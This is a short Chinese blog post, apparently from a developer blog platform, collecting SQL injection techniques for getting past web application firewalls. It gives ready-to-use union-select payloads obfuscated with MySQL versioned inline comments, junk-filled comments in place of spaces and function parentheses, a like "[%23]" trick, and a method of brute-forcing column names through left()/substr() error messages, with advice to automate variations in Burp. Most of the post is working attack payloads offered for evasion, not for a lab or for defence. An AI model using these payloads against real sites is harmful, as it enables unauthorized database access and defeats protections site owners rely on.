0
点赞
收藏
分享

微信扫一扫

【网络安全】——sql注入之奇淫巧技bypass(持续更新中)

紫荆峰 2022-12-04 阅读 119

目录

一:内联注释

二:魔法注释

三:like  "[%23]"

四:截取函数报字段技巧(2022.11.26)


一:内联注释

适用环境某个函数被识别造成拦截后

格式:/*![五位数字版本号] [原函数]*/

 实例: 

原:    -1 ' union select 1,database(),3 %23

情景一:union函数被识别,遭到WAF拦截,需过滤函数

防过滤:-1 ' /*!12345union*/ select 1,database(),3 %23

 注意:其中的12345是版本号,并不一定是12345,但肯定是五位数字,所以通常都是使用burp批量跑五位数字的字典,最后成功bypass 

二:魔法注释

适用环境:某个位置的空格或者带有括号的函数被识别引起过滤

格式:/*[特殊字符构成的字符串]*/

 实例

原:    -1 ' union select 1,database(),3 %23

情景一:union和select之间的空格需要做防过滤

防过滤:-1 ' union/*--+*/select 1,database(),3 %23

情景二:database()函数被识别,需要过滤

放过滤: -1 ' union select 1,database/*//-*/(),3 %23

 同样的道理,这里的/**/中间的特殊字符串也不是固定的,直接用特殊字符生成字典,再burp批量跑即可

三:like  "[%23]"

 这是目前比较新的一种过滤方式,也成为很多自写防护规则网站的突破口

格式 like "[%23]"

 适用:这个倒是没有什么适用的环境,总之就是迷惑性很强,会将前面的内容识别为空,再将攻击语句放在后面即可,

实例

原:    1 ' union select 1,database(),3 %23



防过滤:1 like "[%23]" union select 1,database(),3 %23

四:截取函数报字段技巧(2022.11.26)

来看一段简单的命令

select * from users where id = 1 and left("abcd",1)='a'

 这个命令都能理解吧,那我们将abcd的引号去掉再来看看,如下

 嗯?为什么会提示没有abcd这个字段吗?它为什么会被识别成字段呢?别急,听我好好跟你讲讲

在目标对敏感字限制得很严但是又没过滤left函数时,就可以做一个字段名的字典,对目标的字段名进行批量爆破,没出现这个报错就是该字段存在,这也是一种很好用的方法

right()函数, substr()函数均可,原理也相同,应该还有很多其他的函数,只要参数涉及到字符串都可以,后期我会再整理一下

 

举报

相关推荐

0 条评论